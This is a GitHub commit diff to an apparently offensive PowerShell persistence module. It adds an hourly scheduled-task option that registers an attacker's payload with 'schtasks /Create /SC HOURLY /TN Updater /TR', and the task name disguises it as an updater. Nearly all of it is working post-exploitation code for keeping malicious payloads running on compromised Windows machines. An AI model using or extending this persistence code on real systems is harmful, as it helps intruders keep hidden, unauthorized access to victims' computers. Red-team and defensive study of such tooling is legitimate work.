Skip to content

Commit 75a37a0

Browse files
committed
Added ScheduledTaskHourly to New-UserPersistenceOption
1 parent a6564f4 commit 75a37a0

File tree

1 file changed

+20
-0
lines changed

1 file changed

+20
-0
lines changed

Persistence/Persistence.psm1

+20
Original file line numberDiff line numberDiff line change
@@ -229,6 +229,10 @@ function New-UserPersistenceOption
229229
230230
Starts the payload daily.
231231
232+
.PARAMETER Hourly
233+
234+
Starts the payload hourly.
235+
232236
.PARAMETER At
233237
234238
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
@@ -248,6 +252,7 @@ function New-UserPersistenceOption
248252

249253
[CmdletBinding()] Param (
250254
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
255+
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
251256
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
252257
[Switch]
253258
$ScheduledTask,
@@ -260,6 +265,10 @@ function New-UserPersistenceOption
260265
[Switch]
261266
$Daily,
262267

268+
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
269+
[Switch]
270+
$Hourly,
271+
263272
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
264273
[DateTime]
265274
$At,
@@ -300,6 +309,12 @@ function New-UserPersistenceOption
300309
$PersistenceOptionsTable['Time'] = $At
301310
}
302311

312+
'ScheduledTaskHourly'
313+
{
314+
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
315+
$PersistenceOptionsTable['Trigger'] = 'Hourly'
316+
}
317+
303318
'Registry'
304319
{
305320
$PersistenceOptionsTable['Method'] = 'Registry'
@@ -637,6 +652,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
637652
$UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
638653
}
639654

655+
'Hourly'
656+
{
657+
$UserTrigger = "schtasks /Create /SC HOURLY /TN Updater /TR "
658+
}
659+
640660
'OnIdle'
641661
{
642662
$UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "

0 commit comments

Comments
 (0)